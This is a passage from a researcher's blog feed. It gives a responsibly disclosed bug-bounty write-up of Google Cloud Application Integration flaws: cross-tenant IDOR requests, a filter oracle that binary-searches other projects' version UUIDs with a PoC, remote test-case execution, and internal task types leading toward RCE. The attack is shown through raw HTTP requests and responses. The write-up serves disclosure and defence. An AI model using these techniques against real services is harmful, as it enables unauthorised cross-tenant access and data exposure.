<li>2026-01-16 - <strong>Panel awards $60,000</strong>. Rationale for this decision: This report was of exceptional quality! Vulnerability category is &quot;Compromise of Google Cloud Production Environment&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Default Google Cloud products.</li>
</ul>
<h3 id="round-2-3-months-later"><a class="anchor" href="#round-2-3-months-later" aria-hidden="true">#</a>Round 2 (3 months later)</h3><p>You thought that was the end of it, not so easy. Three months later, my fuzzer pinged me about some IDORs in the public Application Integration product&#39;s <a href="https://docs.cloud.google.com/application-integration/docs/reference/rest" target="_blank" rel="noopener noreferrer">public API</a>.</p>
<p>Turns out, throughout this whole API, you could reference your own project ID in the URL, but reference someone else&#39;s UUID:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/projects/&lt;your-project&gt;/locations/us-central1/integrations/anythinghere/versions/&lt;victim-uuid&gt;</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>integrations.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;redacted&gt;</code></pre><p>and the API would happily return the victim&#39;s resource, because the authentication check was done on your project ID (you are authorized for your own project), but there was no access control check if the ID was actually tied to your project or not.</p>
<p>However, this by itself wouldn&#39;t be too impactful, because these are UUIDv4. The search space is far too large to be meaningfully bruteforce-able (search space of 10^36). Hence, I went looking around for any way I could potentially leak a victim&#39;s resource UUIDs.</p>
<p>That&#39;s when I noticed this interesting &quot;test cases&quot; feature. From the <a href="https://docs.cloud.google.com/application-integration/docs/test-cases" target="_blank" rel="noopener noreferrer">documentation</a>:</p>
<blockquote>
<p>With Application Integration, you can create and run multiple test cases on your complex integrations that connect and manage Google Cloud services and other business applications. By testing your integration flow, you can ensure that your integration is working as intended.</p>
</blockquote>
<p>The interesting thing was, when you look at how your test cases are loaded in the frontend, the browser sends a request like so:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>us-central1-integrations.clients6.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-protobuf

<span class="language-apache"><span class="hljs-section">&lt; RAW PROTOBUF DATA &gt;</span></span></code></pre><p>The actual request payload is in protobuf, I&#39;ve decoded here so you can see how it looks like:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;6&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;name&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;display_name&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;update_time&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;client_id&quot;</span><span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Field <code>1</code> is the parent resource (my project, my version UUID), field <code>6</code> is the response field mask, and field <code>2</code>, <code>workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4</code> seemed to be some sort of filter. Perhaps if this was omitted, it would return test cases for all workflows? Surely not...</p>
<p>Dropping field <code>2</code> and <code>6</code> from the request:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>...the response came back with test cases from every other GCP project:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;testCases&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;test&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;triggerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;api_trigger/AI_bebbia_CreateWOSubs_API_1&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;testInputParameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;InputData&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;dataType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;JSON_VALUE&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;defaultValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;jsonValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;{\n  \&quot;OldSKU\&quot;: \&quot;300465\&quot;,\n  \&quot;orderid\&quot;: \&quot;7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\&quot;,\n  ...\n}&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;InputData&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;creatorEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;redacted@google.com&quot;</span><span class="hljs-punctuation">,</span>
      ...
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>Looking closer at the response though, you may notice something off. The <code>versions/...</code> segment in every result is <code>631a0566-02fc-4dce-b319-25e2c68168f4</code>. That&#39;s <em>my</em> version UUID, the one I sent in field <code>1</code>. The API was just reflecting it straight back into every test case&#39;s <code>name</code>, even though these test cases belong to completely different integrations in different projects.</p>
<p>So while I now had every test case ID across every GCP project, along with their integration names and creator emails, the actual victim version UUIDs which I needed to feed into those IDORs from earlier were nowhere in the response.</p>
<p>That said, the test case IDs alone were already good for some real impact. Application Integration exposes an <code>:executeTest</code> endpoint that runs a test case by its ID, and it didn&#39;t actually need the victim&#39;s real version UUID.</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/projects/&lt;your-project&gt;/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>integrations.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;redacted&gt;
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>0</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;executionId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;5d49abed-7692-47aa-8660-5cdaea92d2af&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;outputParameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;output&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;assertionResults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;assertion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;assertionStrategy&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ASSERT_EQUALS&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;parameter&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;output&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;intValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;3&quot;</span> <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;taskNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;taskName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;JsonnetMapperTask&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SUCCEEDED&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;testExecutionState&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PASSED&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>So I could already trigger arbitrary test cases to execute in any victim&#39;s environment, but the real goal was still to access a victim&#39;s entire integration through the IDORs from earlier, and for that I needed the actual version UUID.</p>
<p>I was stuck here for a bit. That was, until I had an idea. The <code>filter</code> parameter (field <code>2</code>) clearly supports comparison operators like <code>=</code>. What if it also supports <code>&gt;</code> and <code>&lt;=</code>? If it does, I could anchor on a known test case ID and then binary search the <code>workflow_id</code> field, one hex character at a time, until I&#39;d reconstructed the entire UUID:</p>
<pre><code>id = &quot;&lt;known-tc-uuid&gt;&quot; AND workflow_id &gt; &quot;&lt;low&gt;&quot; AND workflow_id &lt;= &quot;&lt;high&gt;&quot;</code></pre><p>Each request narrows the range. If the test case still appears in the response, the real <code>workflow_id</code> is in <code>(low, high]</code>, otherwise it&#39;s outside. A 32-character hex UUID should in theory fall out in around 128 requests.</p>
<p>I had Claude write a PoC for this, and it worked perfectly first try:</p>
<pre><code>$ python extract_by_id.py --token &quot;&lt;redacted&gt;&quot; --project 273897706296 --location &quot;us-central1&quot; --tc-id &quot;60413427-4d07-4c36-bce0-66cfcdd81879&quot;
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent:    projects/273897706296/locations/us-central1/integrations/x/versions/-

Verified: target found. Starting binary search...

  [ 4/32] fb1d0000-0000-0000-0000-000000000000  (16 reqs)
  [ 8/32] fb1dc5f3-0000-0000-0000-000000000000  (32 reqs)
  [12/32] fb1dc5f3-0380-0000-0000-000000000000  (48 reqs)
  [16/32] fb1dc5f3-0380-491c-0000-000000000000  (64 reqs)
  [20/32] fb1dc5f3-0380-491c-af90-000000000000  (80 reqs)
  [24/32] fb1dc5f3-0380-491c-af90-5a1400000000  (96 reqs)
  [28/32] fb1dc5f3-0380-491c-af90-5a141aa00000  (112 reqs)
  [32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56  (128 reqs)

workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128</code></pre><p>I now had the victim&#39;s actual integration version UUID. Chaining this with the <code>GetIntegrationVersion</code> IDOR:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/projects/&lt;your-project&gt;/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>integrations.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;redacted&gt;</code></pre><p>It returned the full integration belonging to a different project, including every trigger config, task config, parameter binding, and creator email:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/&lt;your-project&gt;/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;state&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;DRAFT&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;triggerConfigs&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;label&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;API Trigger&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;triggerType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;API&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;triggerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;api_trigger/TestCasePOC5_API_1&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;taskConfigs&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;task&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GenericRestV2Task&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Call REST Endpoint&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;parameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;url&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;url&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;$url$&quot;</span> <span class="hljs-punctuation">}</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;httpMethod&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;httpMethod&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;POST&quot;</span> <span class="hljs-punctuation">}</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;authConfigName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;authConfigName&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;authprofiletest&quot;</span> <span class="hljs-punctuation">}</span> <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  ...
  <span class="hljs-attr">&quot;integrationParameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;url&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;dataType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;STRING_VALUE&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;defaultValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;stringValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://example.com&quot;</span> <span class="hljs-punctuation">}</span> <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;lastModifierEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gvrptest4@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;createTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2026-03-22T11:10:30.087Z&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>If you remember from the original test cases dump, a fair number of those <code>creatorEmail</code> fields ended in <code>@google.com</code>. So there are plenty of internal Google teams running their own integrations on this platform. My obvious next thought was what if some of these Googler integrations already have <code>GenericStubbyTypedTaskV2</code> (or other internal-only tasks like <code>PythonTask</code>, <code>CreateBuganizerIssueTask</code>, etc.) configured? Any one of those would extend this cross-tenant chain into something significantly worse.</p>
<p>I couldn&#39;t actually check though. Doing so would mean iterating over real customer data which would break the Google VRP rules, so I bundled up everything I had and sent the report off to Cloud VRP.</p>
<h3 id="configuring-internal-task-types"><a class="anchor" href="#configuring-internal-task-types" aria-hidden="true">#</a>Configuring internal task types</h3><p>This made me think though, what exactly was stopping me from creating my own integration with an internal task type?</p>
<p>If I tried to create an internal task:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>integrations.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;redacted&gt;
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>1033

<span class="language-prolog">{
  <span class="hljs-string">&quot;taskConfigsInternal&quot;</span>: [
    {
      <span class="hljs-string">&quot;taskNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>,
      <span class="hljs-string">&quot;taskName&quot;</span>: <span class="hljs-string">&quot;PythonTask&quot;</span>,
      ...
      <span class="hljs-string">&quot;taskEntity&quot;</span>: {
        <span class="hljs-string">&quot;uiConfig&quot;</span>: {
          <span class="hljs-string">&quot;taskUiModuleConfigs&quot;</span>: [
            {
              <span class="hljs-string">&quot;moduleId&quot;</span>: <span class="hljs-string">&quot;RPC_TYPED&quot;</span>
            }
          ]
        }
      },
      <span class="hljs-string">&quot;taskType&quot;</span>: <span class="hljs-string">&quot;ASIS_TEMPLATE&quot;</span>,
      <span class="hljs-string">&quot;parameters&quot;</span>: {
        <span class="hljs-string">&quot;TEST&quot;</span>: {
          <span class="hljs-string">&quot;key&quot;</span>: <span class="hljs-string">&quot;test&quot;</span>,
          <span class="hljs-string">&quot;value&quot;</span>: {
            <span class="hljs-string">&quot;stringValue&quot;</span>: <span class="hljs-string">&quot;test&quot;</span>
          }
        }
      }
    }
  ],
  ...
}</span></code></pre><p>It would actually work:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-perl">{
  <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a&quot;</span>,
  <span class="hljs-string">&quot;origin&quot;</span>: <span class="hljs-string">&quot;UI&quot;</span>,
  <span class="hljs-string">&quot;snapshotNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>,
  <span class="hljs-string">&quot;updateTime&quot;</span>: <span class="hljs-string">&quot;2026-05-01T07:30:07.182512Z&quot;</span>,
  <span class="hljs-string">&quot;lockHolder&quot;</span>: <span class="hljs-string">&quot;gvrptest4<span class="hljs-variable">@gmail</span>.com&quot;</span>,
  <span class="hljs-string">&quot;createTime&quot;</span>: <span class="hljs-string">&quot;2026-05-01T07:30:07.182512Z&quot;</span>,
  <span class="hljs-string">&quot;lastModifierEmail&quot;</span>: <span class="hljs-string">&quot;gvrptest4<span class="hljs-variable">@gmail</span>.com&quot;</span>,
  <span class="hljs-string">&quot;state&quot;</span>: <span class="hljs-string">&quot;DRAFT&quot;</span>,
  ...
}</span></code></pre><p>But when I tried to actually execute the workflow, it would just time out with the following error:</p>
<pre><code> Execution timeout, cancelled graph execution. The default timeout is 2min for sync execution and 10min for async execution. If you are using sync execution, please try async execution such as the Schedule API or Cloud Scheduler trigger. If you are already using async execution, please try to break down your integration into smaller pieces and chain them in the async way. Note any variable contains large data will also failed to upload to GCS. error/code: &#39;common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT&#39;&#39; </code></pre><p>However, I noticed something peculiar. When I configured the <code>PythonTask</code> (one of the internal tasks), created a test case and executed the test case, instead of timing out, I got this suspicious error on the frontend:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">9</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;java.io.IOException: No space left on device&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>That&#39;s a real exception from the execution backend, not a timeout. Whatever code path the test case feature was running on, it was happily reaching deep enough to fail on actual disk I/O. Trying the same trick with <code>GenericStubbyTypedTaskV2</code> got me a less informative but equally suspicious response:</p>
<pre><code>Failed to execute test case. Error: Unknown Error.</code></pre><p>I checked the workflow execution logs, and that&#39;s when the actual error showed up:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w &quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">500</span> <span class="hljs-punctuation">}</span></code></pre><p>This is extremely suspicious. I was definitely onto something. By hitting:</p>
<pre><code class="hljs language-http">GET /v1/projects/&lt;project&gt;/locations/us-west1/integrations/ExampleTest1234:1/executions/id:download
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>integrations.googleapis.com</code></pre><p>It was possible to pull the entire stack trace:</p>
<pre><code>com.google.enterprise.crm.exceptions.IpCanonicalCodeException: com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException: com.google.net.rpc3.client.RpcClientException: &lt;eye3 title=&#39;/EventbusStubbyCallerService.ExecuteStubbyCall, UNAUTHENTICATED&#39;/&gt; APPLICATION_ERROR;enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall;com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ;AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed;ServerTimeSec=0.00194812;LogBytes=256;FailFast;EffSecLevel=none;ReqFormat=uncompressed;ReqID=bea3d76b582d8a4;GlobalID=0;Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION
	at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744)
	at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:725)
	at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654)
	at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475)
	at /java.base@25.0.1/java.util.stream.ReferencePipeline$3$1.accept(Unknown Source)
  ...</code></pre><p>This made it clear that our variables were being plugged straight into an <code>ExecuteStubbyCallRequest</code> on the backend. Based on the stack traces from playing around with parameter values, I&#39;d guess the backend code looks roughly like:</p>
<pre><code class="hljs language-java">GenericStubbyTypedTaskV2.buildRequest():
    line <span class="hljs-number">219</span>: setServerAddress(serverSpec)  → ExecuteStubbyCallRequest.java:<span class="hljs-number">1123</span>
    line <span class="hljs-number">220</span>: setServiceName(serviceName)   → ExecuteStubbyCallRequest.java:<span class="hljs-number">1219</span>
    line <span class="hljs-number">221</span>: setMethodName(serviceMethod)  → ExecuteStubbyCallRequest.java:<span class="hljs-number">1313</span>
    ...</code></pre><p>So maybe there was some parameter I had to supply to get this working? The problem was the stack traces only helped me leak the three known parameters, <code>serverSpec</code>, <code>serviceName</code>, and <code>serviceMethod</code> but I wasn&#39;t able to find more from this method. Also, Google treats these RCE escalations as security incidents, so before going any further I asked Google&#39;s security team for the green light. They got back to me quickly and confirmed that this was exploitable and that I should stop further testing.</p>
<p>The report was quickly escalated to <strong>P0/S0</strong> and got a 🎉<strong>Nice catch!</strong>. Almost a month later, the report was awarded <strong>$75,000</strong> under &quot;Compromise of Google Cloud Production Environment&quot;, my highest single bounty to-date.</p>
<iframe src="https://www.youtube.com/embed/QO0lx-PQAL0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><p>From what I&#39;d gathered from speaking to some Googlers, there are roughly three tiers for base RCE payouts under the <a href="https://bughunters.google.com/about/rules/google-friends/cloud-vulnerability-reward-program-rules#reward-amounts" target="_blank" rel="noopener noreferrer">Cloud VRP table</a>:</p>
<ul>
<li><strong>$50k</strong>: Relatively unprivileged production user access</li>
<li><strong>$75k</strong>: Privileged production user access</li>
<li><strong>$100k</strong>: Admin in Google Cloud</li>
</ul>
<p>Where any given RCE actually lands on this scale depends entirely on how much of the production environment the compromised prod identity can reach directly. Obviously, given the vast attack surface accessible from production access, it&#39;s very likely possible to escalate privileges from any sort of initial access.</p>
<p>Google was oddly vague about the exact reasoning here, but it seemed that the internal team&#39;s own investigation of this chain surfaced significantly more impact in prod than even what I had shown, which is what landed it at the $75k tier.</p>
<h3 id="timeline-2nd-rce"><a class="anchor" href="#timeline-2nd-rce" aria-hidden="true">#</a>Timeline (2nd RCE)</h3><ul>
<li>2026-03-21 - Initial report sent to Google</li>
<li>2026-03-23 - Google triaged report as P1/S1</li>
<li>2026-03-23 - Informed Google&#39;s security team about the RCE escalation</li>
<li>2026-03-23 - 🎉 <strong>Nice catch!</strong>, report updated to P0/S0</li>
<li>2026-04-28 - <strong>Panel awards $75,000</strong>. Rationale for this decision: Vulnerability category is &quot;Compromise of Google Cloud Production Environment&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Default Google Cloud products.</li>
<li>2026-05-06 - Informed Google that GetIntegrationVersion RPC was still vulnerable</li>
<li>2026-05-08 - <strong>Panel awards additional $13,337</strong>. Rationale for this decision: Vulnerability category is &quot;Single-Service Privilege Escalation - WRITE&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Default Google Cloud products.</li>
</ul>
]]></content:encoded>
            <author>Arvin Shivram</author>
            <enclosure url="https://brutecat.com/assets/google-cloud-rce.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Leaking the phone number of any Google user]]></title>
            <link>https://brutecat.com/articles/leaking-google-phones</link>
            <guid isPermaLink="false">leaking-google-phones</guid>
            <pubDate>Mon, 09 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[From rate limits to no limits: How IPv6's massive address space and a crafty botguard bypass left every Google user's phone number vulnerable]]></description>
            <content:encoded><![CDATA[<p>A few months ago, I disabled javascript on my browser while testing if there were any Google services left that still worked without JS in the modern web. Interestingly enough, the username recovery form still worked!</p>
